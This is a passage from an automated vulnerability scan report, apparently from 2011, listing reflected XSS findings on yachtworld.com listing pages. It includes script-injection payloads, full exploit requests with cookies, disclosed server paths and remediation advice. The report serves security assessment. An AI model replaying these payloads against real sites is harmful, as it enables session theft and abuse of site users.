The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:33 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 27758
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into an HTML comment. The payload ba7e9--><script>alert(1)</script>5bfa0008261 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:20 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 19189
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload 6d952<script>alert(1)</script>4336f410bcb was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:19 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 19109
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluste ...[SNIP]... </script>4336f410bcb/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/donnellyyachts6d952<script>alert(1)</script>4336f410bcb/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/donnellyyachts6d952<script> ...[SNIP]...
The value of the hosturl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4560\'%3balert(1)//866d6156778 was submitted in the hosturl parameter. This input was echoed as a4560\\';alert(1)//866d6156778 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:19 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 18797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 451e5"><script>alert(1)</script>b1bcffce91a was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:16 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 19165
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 55ee4'><script>alert(1)</script>80771513c34 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:17 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 19166
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.468. http://www.yachtworld.com/core/listing/pl_boat_full_detail.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/listing/pl_boat_full_detail.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b6ec"><script>alert(1)</script>38a243204a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:57:06 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 27673
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2b4a1'><script>alert(1)</script>3043d7ed361 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:02 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 28668
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 599e7\'%3balert(1)//e8a2c3e293b was submitted in the slim parameter. This input was echoed as 599e7\\';alert(1)//e8a2c3e293b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:06 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 28370
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86177"><script>alert(1)</script>1c07972e9b was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:02 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 28646
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the url request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8f3bf\'%3balert(1)//8b42d24e13f was submitted in the url parameter. This input was echoed as 8f3bf\\';alert(1)//8b42d24e13f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:45 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 29422
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload da30f'><script>alert(1)</script>9724fd50dc was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:56:44 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 29533
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &hosturl request parameter is copied into the HTML document as plain text between tags. The payload 35cc2<script>alert(1)</script>9b144cda554 was submitted in the &hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_display_photo.jsp?&hosturl=starlingmarine35cc2<script>alert(1)</script>9b144cda554&&ywo=starlingmarine&slim=broker&boat_id=2047906&boatname=23%27+Contender+&photo_revised_date=1237828294000&photo_name=Photo+1&photo=1&url= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:28:43 GMT Server: Apache Cache-Control: private Content-Length: 1129 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarine35cc2<script>alert(1)</script>9b144cda554/boats.header.html:/opt/weblogic/waeyw/ywcluster/public_html/brok ...[SNIP]... </script>9b144cda554/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarine35cc2<script>alert(1)</script>9b144cda554/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarine35cc2<script> ...[SNIP]...
The value of the &hosturl request parameter is copied into an HTML comment. The payload ead6a--><script>alert(1)</script>066e841e956 was submitted in the &hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /core/listing/pl_display_photo.jsp?&hosturl=starlingmarineead6a--><script>alert(1)</script>066e841e956&&ywo=starlingmarine&slim=broker&boat_id=2047906&boatname=23%27+Contender+&photo_revised_date=1237828294000&photo_name=Photo+1&photo=1&url= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:28:52 GMT Server: Apache Cache-Control: private Content-Length: 1141 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the Regulator+32+FS&photo_name request parameter is copied into the HTML document as plain text between tags. The payload d5bd6<script>alert(1)</script>58242dc8c82 was submitted in the Regulator+32+FS&photo_name parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_display_photo.jsp?slim=broker&&photo=30&boat_id=1787065&boatname=&hosturl=donnellyyachts&Regulator+32+FS&photo_name=Photo+11d5bd6<script>alert(1)</script>58242dc8c82 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:31:22 GMT Server: Apache Cache-Control: private Content-Length: 10319 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
